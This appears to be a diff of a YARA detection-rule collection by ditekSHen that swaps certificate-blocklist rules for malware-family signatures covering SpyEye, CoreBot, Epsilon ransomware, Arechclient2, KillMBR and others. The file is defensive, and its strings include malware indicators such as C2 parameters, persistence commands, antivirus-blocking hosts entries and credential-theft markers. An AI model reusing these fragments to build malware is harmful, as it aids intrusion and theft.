+		$cnc1 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" fullword ascii wide
+		$cnc2 = "Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1" fullword ascii wide
+		$cnc3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" fullword ascii wide
+		$cnc4 = "POST / HTTP/1.1" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Ringen" and pe.signatures[i].serial=="1f:23:f0:01:45:87:16:d4:35:cc:a1:a5:5d:66:0e:c5")
+		(( uint16(0)==0x5a4d and filesize <4000KB) and (1 of ($x*) or 6 of ($s*) or all of ($cnc*) or (4 of ($s*) and 2 of ($cnc*)))) or (1 of ($x*) or 6 of ($s*) or all of ($cnc*) or (4 of ($s*) and 2 of ($cnc*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00C2Fc83D458E653837Fcfc132C9B03062 : FILE
+rule DITEKSHEN_MALWARE_Win_Quilclipper
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects QuilClipper variants mostly in memory or extracted AutoIt script"
 		author = "ditekSHen"
-		id = "fbc9420d-4670-502f-af6a-13d17fb73938"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "bd23ec5a-f21a-5133-a77a-de2615933b82"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2352-L2363"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4076-L4094"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "96ed5e78195f12cdc0316ed454ad4e2235253ed897905c4a97756b306933d874"
+		logic_hash = "dcac93806a438b188ae70a679301cb6630b9eb6849bf8fbbb1cea5fed5e7cf75"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "82294a7efa5208eb2344db420b9aeff317337a073c1a6b41b39dda549a94557e"
-		importance = 20
+		tags = ""
+
+	strings:
+		$cnc1 = "QUILCLIPPER by" ascii
+		$cnc2 = "/ UserName:" ascii
+		$cnc3 = "/ System:" ascii
+		$s1 = "DLLCALL ( \"kernel32.dll\" , \"handle\" , \"CreateMutexW\" , \"struct*\"" ascii
+		$s2 = "SHELLEXECUTE ( @SCRIPTFULLPATH , \"\" , \"\" , FUNC_" ascii
+		$s3 = "CASE BITROTATE" ascii
+		$s4 = "CASE BITXOR" ascii
+		$s5 = "CLIP( FUNC_" ascii
+		$s6 = "CLIPPUT (" ascii
+		$s7 = "FUNC _CLIPPUTFILE(" ascii
+		$s8 = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Schedule" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Vertical" and pe.signatures[i].serial=="00:c2:fc:83:d4:58:e6:53:83:7f:cf:c1:32:c9:b0:30:62")
+		all of ($cnc*) or all of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Fcb3D3519E66E5B6D90B8B595F558E81 : FILE
+rule DITEKSHEN_MALWARE_Win_Spyeye : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SpyEye"
 		author = "ditekSHen"
-		id = "966650b5-d776-5ed0-a99b-507b46abd882"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "aa15220a-6fd4-5c5e-8287-957fc3c3fe52"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2365-L2376"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4096-L4111"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "62c7189cc906b9f2d2724492489218d9aecf08ef431463ebf1963b034222f2ad"
+		logic_hash = "352853d600d1f4fbc09e58b783eb4e13b335fefbfe89842873710f0a9085d107"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8bf6e51dfe209a2ca87da4c6b61d1e9a92e336e1a83372d7a568132af3ad0196"
-		importance = 20
+
+	strings:
+		$x1 = "_CLEANSWEEP_" ascii wide
+		$x2 = "config.datUT" fullword ascii
+		$x3 = "webinjects.txtUT" fullword ascii
+		$s1 = "confirm:processCommand" fullword ascii
+		$s2 = "Smth wrong with navigate to REF-PAGE (err code: %d). 0_o" fullword ascii
+		$s3 = "(UTC%s%2.2f) %s" fullword wide
+		$s4 = "M\\F;u`r" fullword ascii
+		$s5 = "]YH0%Yn" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Pegasun" and pe.signatures[i].serial=="fc:b3:d3:51:9e:66:e5:b6:d9:0b:8b:59:5f:55:8e:81")
+		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and 1 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4B03Cabe6A0481F17A2Dbeb9Aefad425 : FILE
+rule DITEKSHEN_MALWARE_Win_Renamer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Renamer/Tainp variants"
 		author = "ditekSHen"
-		id = "3995296a-58ce-5615-8524-525698af3537"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "9e701bbe-d698-510a-b63d-3c1575dac7b0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2378-L2389"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4114-L4135"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e3c0d68a65bc53b83a48310857605afda0004b4122201c18a66fea085a210924"
+		logic_hash = "df80657631f072bc1627e1cf503881a2c065396f8798d7f347259672f600198d"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "2e86cb95aa7e4c1f396e236b41bb184787274bb286909b60790b98f713b58777"
-		importance = 20
+		tags = "FILE"
+
+	strings:
+		$s1 = "shell\\open\\command=" fullword wide
+		$s2 = "icon=%SystemRoot%\\system32\\SHELL32.dll,4" fullword wide
+		$s3 = "DropTarget" ascii
+		$s4 = "C:\\Windows\\Paint" fullword wide
+		$s5 = "hold.inf" fullword wide
+		$s6 = "Dropped" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RASSVET, OOO" and pe.signatures[i].serial=="4b:03:ca:be:6a:04:81:f1:7a:2d:be:b9:ae:fa:d4:25")
+		uint16(0)==0x5a4d and all of ($s*) or (4 of ($s*) and for any directory in pe.data_directories : (directory.virtual_address!=0 and directory.size==0))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_539015999E304A5952985A994F9C3A53 : FILE
+rule DITEKSHEN_MALWARE_Win_Epsilon : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Epsilon ransomware"
 		author = "ditekSHen"
-		id = "b53f5843-fb4c-5c61-be24-21bdbc445239"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c5561a0d-85ac-5137-a97e-310aa03eb787"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2391-L2402"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4137-L4169"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "72304761de1d5e81659487947a1cfa017f7f41d5639f18634db4dfd094980518"
+		logic_hash = "cc4481ddb6f5fd52a0bc901dde4c34ccf79024cd68605245df0dcbea22d0adee"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7731825aea38cfc77ba039a74417dd211abef2e16094072d8c2384af1093f575"
-		importance = 20
+
+	strings:
+		$s1 = ".Speak \"" wide
+		$s2 = "chkUpdateRegistry" fullword wide
+		$s3 = "/C choice /C Y /N /D Y /T 1 & Del \"" fullword wide
+		$s4 = "CreateObject(\"sapi.spvoice\")" fullword wide
+		$s5 = "READ_ME.hta" wide
+		$s6 = "WScript.Sleep(" wide
+		$s7 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
+		$s8 = "<div class='bold'>Files are encrypted* but not deleted.</div>" ascii
+		$e1 = { 72 00 75 00 6e 00 64 00 6c 00 6c 00 2e 00 65 00
+                78 00 65 00 00 09 2e 00 74 00 78 00 74 00 00 09
+                2e 00 64 00 6f 00 63 00 00 0b 2e 00 64 00 6f 00
+                63 00 78 00 00 09 2e 00 78 00 6c 00 73 00 00 0d
+                2e 00 69 00 6e 00 64 00 65 00 78 00 00 09 2e 00
+                70 00 64 00 66 00 00 09 2e 00 7a 00 69 00 70 00
+                00 09 2e 00 72 00 61 00 72 00 00 09 2e 00 63 00
+                73 00 73 00 00 09 2e 00 6c 00 6e 00 6b 00 00 0b
+                2e 00 78 00 6c 00 73 00 78 00 00 09 2e 00 70 00
+                70 00 74 00 00 0b 2e 00 70 00 70 00 74 00 78 00
+                00 09 2e 00 6f 00 64 00 }
+		$e2 = { 68 00 74 00 6d 00 00 07 2e 00 6d 00 6c 00 00 07
+                43 00 3a 00 5c 00 00 07 44 00 3a 00 5c 00 00 07
+                45 00 3a 00 5c 00 00 07 46 00 3a 00 5c 00 00 07
+                47 00 3a 00 5c 00 00 07 5a 00 3a 00 5c 00 00 07
+                41 00 3a 00 5c 00 00 0f 63 00 6d 00 64 00 2e 00
+                65 00 78 00 65 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Service lab LLC" and pe.signatures[i].serial=="53:90:15:99:9e:30:4a:59:52:98:5a:99:4f:9c:3a:53")
+		uint16(0)==0x5a4d and (6 of ($s*) or ( all of ($e*) and 4 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_016836311Fc39Fbb8E6F308Bb03Cc2B3 : FILE
+rule DITEKSHEN_MALWARE_Win_Corebot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects CoreBot"
 		author = "ditekSHen"
-		id = "06cc9c38-c5a6-5311-8ceb-943ea3993fc7"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f0351bdb-34ff-5b6d-bc4b-61fc491401ef"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2404-L2415"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4171-L4226"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "912d490ac5d746c584e4dd5639be98d9577faba215cc1f8ebdf360581be53d5c"
+		logic_hash = "518209458fc8912d47b0b99896178fda823c3174c37f21d5e9331349a69322d7"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "cab373e2d4672beacf4ca9c9baf75a2182a106cca5ea32f2fc2295848771a979"
-		importance = 20
+		snort_sid = "920211-920212"
+
+	strings:
+		$f1 = "core.cert_fp" fullword ascii
+		$f2 = "core.crash_handler" fullword ascii
+		$f3 = "core.delay" fullword ascii
+		$f4 = "core.guid" fullword ascii
+		$f5 = "core.inject" fullword ascii
+		$f6 = "core.installed_file" fullword ascii
+		$f7 = "core.plugins_dir" fullword ascii
+		$f8 = "core.plugins_key" fullword ascii
+		$f9 = "core.safe_mode" fullword ascii
+		$f10 = "core.server" fullword ascii
+		$f11 = "core.servers" fullword ascii
+		$f12 = "core.test_env" fullword ascii
+		$f13 = "core.vm_detect" fullword ascii
+		$f14 = "core.vm_detect_skip" fullword ascii
+		$s1 = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko" fullword wide
+		$s2 = "\\Microsoft\\Windows\\AppCache" wide
+		$s3 = "crash_flag" fullword wide
+		$s4 = "container.dat" fullword wide
+		$s5 = "INJECTED" fullword ascii
+		$s6 = "tmp.delete_file" fullword ascii
+		$x1 = "CoreBot v" wide
+		$x2 = "BotName" fullword ascii
+		$x3 = "RunBotKiller" fullword ascii
+		$x4 = "botv" fullword ascii
+		$x5 = "\\CoreBot\\CoreBot\\obj\\" ascii
+		$v1_1 = "newtask" fullword wide
+		$v1_2 = "drivers\\etc\\hosts" fullword wide
+		$v1_3 = "/C schtasks /create /tn \\" wide
+		$v1_4 = "/st 00:00 /du 9999:59 /sc once /ri 1 /f" wide
+		$v1_5 = "AntivirusInstalled" fullword ascii
+		$v1_6 = "payload" fullword ascii
+		$v1_7 = "DownloadFile" fullword ascii
+		$v1_8 = "RemoveFile" fullword ascii
+		$v1_9 = "AutoRunName" fullword ascii
+		$v1_10 = "EditHosts" fullword ascii
+		$v1_11 = /127\.0\.0\.1 (avast|mcafee|eset|avira|bitdefender|bullguard|safebrowse)\.com/ fullword wide
+		$cnc1 = "&os=" fullword wide
+		$cnc2 = "&pv=" fullword wide
+		$cnc3 = "&ip=" fullword wide
+		$cnc4 = "&cn=" fullword wide
+		$cnc5 = "&lr=" fullword wide
+		$cnc6 = "&ct=" fullword wide
+		$cnc7 = "&bv=" fullword wide
+		$cnc8 = "&op=" fullword wide
+		$cnc9 = "&td=" fullword wide
+		$cnc10 = "&uni=" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SERVICE STREAM LIMITED" and pe.signatures[i].serial=="01:68:36:31:1f:c3:9f:bb:8e:6f:30:8b:b0:3c:c2:b3")
+		uint16(0)==0x5a4d and (5 of ($f*) or all of ($s*) or (3 of ($s*) and 2 of ($f*)) or 3 of ($x*) or 8 of ($v1*) or (4 of ($cnc*) and 4 of ($v1*)) or 12 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_009Bd81A9Adaf71F1Ff081C1F4A05D7Fd7 : FILE
+rule DITEKSHEN_MALWARE_Win_Dllloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects unknown DLL Loader"
 		author = "ditekSHen"
-		id = "deedbc3a-8c77-5c2c-b3c1-40e5d082ec5a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "164967b8-d0f5-543d-82ac-bb2465b85c2a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2417-L2428"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4228-L4239"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "85efd10f6c49b93215c9f8f97915c62fb3ed3bb158b2137e953022b550263726"
+		logic_hash = "aaf1ff0f93d1fe6cf189c9f30403c226e64146178150dff8dfd3a9e3ed84bcc2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "885b9f1306850a87598e5230fcae71282042b74e8a14cabb0a904c559b506acb"
-		importance = 20
+
+	strings:
+		$s1 = "LondLibruryA" fullword ascii
+		$s2 = "LdrLoadDll" fullword ascii
+		$s3 = "snxhk.dll" fullword ascii
+		$s4 = "DisableThreadLibraryCalls" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SMART TOYS AND GAMES" and pe.signatures[i].serial=="00:9b:d8:1a:9a:da:f7:1f:1f:f0:81:c1:f4:a0:5d:7f:d7")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_082023879112289Bf351D297Cc8Efcfc : FILE
+rule DITEKSHEN_MALWARE_Win_Farfli : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Farfli backdoor"
 		author = "ditekSHen"
-		id = "292f99be-2eb0-5ad1-bd07-766de7822f1e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4c3c86f4-5493-5e8a-9618-b0c3d55e2b86"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2430-L2441"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4241-L4253"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0747b37139daaba10a17098aeb0c6246290fbd997345de34ce9de8da26d7db05"
+		logic_hash = "cb1856b32c66d6d070b8ec2d9feea25d6d6748057ceaa342be2ddc589f9a89d6"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "0eb3382177f26e122e44ddd74df262a45ebe8261029bc21b411958a07b06278a"
-		importance = 20
+
+	strings:
+		$s1 = "%ProgramFiles%\\Google\\" fullword ascii
+		$s2 = "%s\\%d.bak" fullword ascii
+		$s3 = "%s Win7" fullword ascii
+		$s4 = "%s:%d:%s" fullword ascii
+		$s5 = "C:\\2.txt" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "STA-R TOV" and pe.signatures[i].serial=="08:20:23:87:91:12:28:9b:f3:51:d2:97:cc:8e:fc:fc")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ece6Cbf67Dc41635A5E5D075F286Af23 : FILE
+rule DITEKSHEN_MALWARE_Win_Warezov : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Warezov worm/downloader"
 		author = "ditekSHen"
-		id = "53312007-179d-547c-8195-0b5d78181300"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "8cb1dcb1-981d-5ff2-b0d9-aa18dfbfc795"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2443-L2454"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4255-L4269"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "27ecc138f8d574c15095032c35ad51c00d8b98f21162d1f59f1f9ca9e5b54391"
+		logic_hash = "e65922902fd18175a3ce7b600d46535e92b92240fa3ca83dced6f9ce14f3e815"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f1f83c96ab00dcb70c0231d946b6fbd6a01e2c94e8f9f30352bbe50e89a9a51c"
-		importance = 20
+
+	strings:
+		$s1 = "ft\\Windows\\CurrentVersion\\Run" wide
+		$s2 = "DIR%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+		$s3 = "%WINDIR%\\sqhos32.wmf" wide
+		$s4 = "Accept: */*" fullword ascii
+		$s5 = "Range: bytes=" fullword ascii
+		$s6 = "module.exe" fullword ascii
+		$s7 = { 25 73 25 73 2e 25 73 ?? ?? 22 22 26 6c 79 79 56 00 00 00 00 25 73 25 30 34 64 25 30 32 64 25 30 32 64 00 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THRANE AGENTUR ApS" and pe.signatures[i].serial=="00:ec:e6:cb:f6:7d:c4:16:35:a5:e5:d0:75:f2:86:af:23")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5Fb6Bae8834Edd8D3D58818Edc86D7D7 : FILE
+rule DITEKSHEN_MALWARE_Win_Arechclient2 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Arechclient2 RAT"
 		author = "ditekSHen"
-		id = "65f5e05c-f5cd-53ba-b4ec-7f412aa63796"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c12858ea-5e06-5303-9df0-0f59ba83b5e5"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2456-L2467"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4271-L4303"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9cec6eae024d738c68d670fb61f7667bdc156245da83e5d0ae0f2012baa5bc0a"
+		logic_hash = "0d841f4d4664fb09801c51f7b65e897e4e698753ad67fc20e2b81d98c0b3d07d"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "026868bbc22c6a37094851e0c6f372da90a8776b01f024badb03033706828088"
-		importance = 20
+
+	strings:
+		$s1 = "\\Google\\Chrome\\User Data\\copiedProf\"" wide
+		$s2 = "\",\"BotName\":\"" wide
+		$s3 = "\",\"BotOS\":\"" wide
+		$s4 = "\",\"URLData\":\"" wide
+		$s5 = "{\"Type\":\"ConnectionType\",\"ConnectionType\":\"Client\",\"SessionID\":\"" wide
+		$s6 = "{\"Type\":\"TestURLDump\",\"SessionID\":\"" wide
+		$s7 = "<ReceiveParticipantList>" ascii
+		$s8 = "<potocSkr>" ascii
+		$s9 = "fuck_sd" fullword ascii
+		$s10 = "HandleBotKiller" fullword ascii
+		$s11 = "RunBotKiller" fullword ascii
+		$s12 = "ConnectToServer" fullword ascii
+		$s13 = "KillBrowsers" fullword ascii
+		$s14 = "keybd_event" fullword ascii
+		$s15 = "FuckCodeImg" fullword ascii
+		$v1_1 = "grabber@" fullword ascii
+		$v1_2 = "<BrowserProfile>k__" ascii
+		$v1_3 = "<SystemHardwares>k__" ascii
+		$v1_4 = "<geoplugin_request>k__" ascii
+		$v1_5 = "<ScannedWallets>k__" ascii
+		$v1_6 = "<DicrFiles>k__" ascii
+		$v1_7 = "<MessageClientFiles>k__" ascii
+		$v1_8 = /<Scan(Browsers|Wallets|Screen|VPN)>k__BackingField/ fullword ascii
+		$v1_9 = "displayName[AString-ZaString-z\\d]{2String4}\\.[String\\w-]{String6}\\.[\\wString-]{2String7}Local Extension Settingshost" wide
+		$v1_10 = "\\sitemanager.xml MB or SELECT * FROM Cookiesconfig" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Tramplink LLC" and pe.signatures[i].serial=="5f:b6:ba:e8:83:4e:dd:8d:3d:58:81:8e:dc:86:d7:d7")
+		uint16(0)==0x5a4d and (6 of ($s*) or 7 of ($v1*) or (6 of ($v1*) and 1 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6E0Ccbdfb4777E10Ea6221B90Dc350C2 : FILE
+rule DITEKSHEN_MALWARE_Win_Killmbr : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects KillMBR"
 		author = "ditekSHen"
-		id = "c8f66f21-db29-5a5d-a74d-58c152a17bc3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b109865f-e268-5633-bb8e-f390dd050d99"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2469-L2480"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4305-L4316"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fee9662133f0a3d88ce97c27f150bcea8faf21b4c4b97f90bb2aae73ee332bb9"
+		logic_hash = "1ed9206f90052df7e533be4612afa373e5e69fba8f5b5ae4df1c09a9d98958cf"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "367b3092fbcd132efdbebabdc7240e29e3c91366f78137a27177315d32a926b9"
-		importance = 20
+
+	strings:
+		$s1 = "\\\\.\\PhysicalDrive" ascii
+		$s2 = "/logger.php" ascii
+		$s3 = "Ooops! Your MBR was been rewritten" ascii
+		$s4 = "No, this ransomware dont encrypt your files, erases it" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TRAUMALAB INTERNATIONAL APS" and pe.signatures[i].serial=="6e:0c:cb:df:b4:77:7e:10:ea:62:21:b9:0d:c3:50:c2")
+		uint16(0)==0x5a4d and (2 of them and #s1>10)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1249Aa2Ada4967969B71Ce63Bf187C38 : FILE
+rule DITEKSHEN_MALWARE_Win_Lcpdot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects LCPDot"
 		author = "ditekSHen"
-		id = "3af35255-7583-5463-b130-ebc8abd4803b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e4db3784-7fb0-58bd-997e-788f409445cd"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2482-L2493"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4318-L4337"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9f8ff46a3b0f5179c2c3b89e82188183fa399c67c3f0ebc28218cf3cb4ce5c70"
+		logic_hash = "b0f77f17976c38a69c2ff0d84002f2db29a4d25873309259519115b5f2b210ff"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c139076033e8391c85ba05508c4017736a8a7d9c1350e6b5996dd94b374f403c"
-		importance = 20
+
+	strings:
+		$s1 = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword wide
+		$s2 = "Cookie: SESSID=%s" fullword ascii
+		$s3 = "Cookie=Enable" fullword ascii
+		$s4 = "Cookie=Enable&CookieV=%d&Cookie_Time=32" fullword ascii
+		$s5 = ".?AVTShellCodeRuner@@" fullword ascii
+		$s6 = ".?AVTHashEncDecoder@@" fullword ascii
+		$s7 = ".?AVTWebAddressList@@" fullword ascii
+		$s8 = "WinMain.dll" fullword ascii
+		$s9 = "HotPlugin" wide
+		$o0 = { 4c 89 6c 24 08 4c 89 34 24 44 8d 77 01 44 8d 6f }
+		$o1 = { 8b f0 e8 58 34 00 00 48 8b f8 48 85 c0 74 0c 48 }
+		$o2 = { c7 44 24 30 47 49 46 38 c7 44 24 34 39 61 27 00 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Umbrella LLC" and pe.signatures[i].serial=="12:49:aa:2a:da:49:67:96:9b:71:ce:63:bf:18:7c:38")
+		uint16(0)==0x5a4d and 6 of ($s*) or ( all of ($o*) and 3 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2Dcd0699Da08915Dde6D044Cb474157C : FILE
+rule DITEKSHEN_MALWARE_Win_Torisma : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Torisma"
 		author = "ditekSHen"
-		id = "0b4e1d10-d385-5ca8-b9e2-00341a4c6fd9"
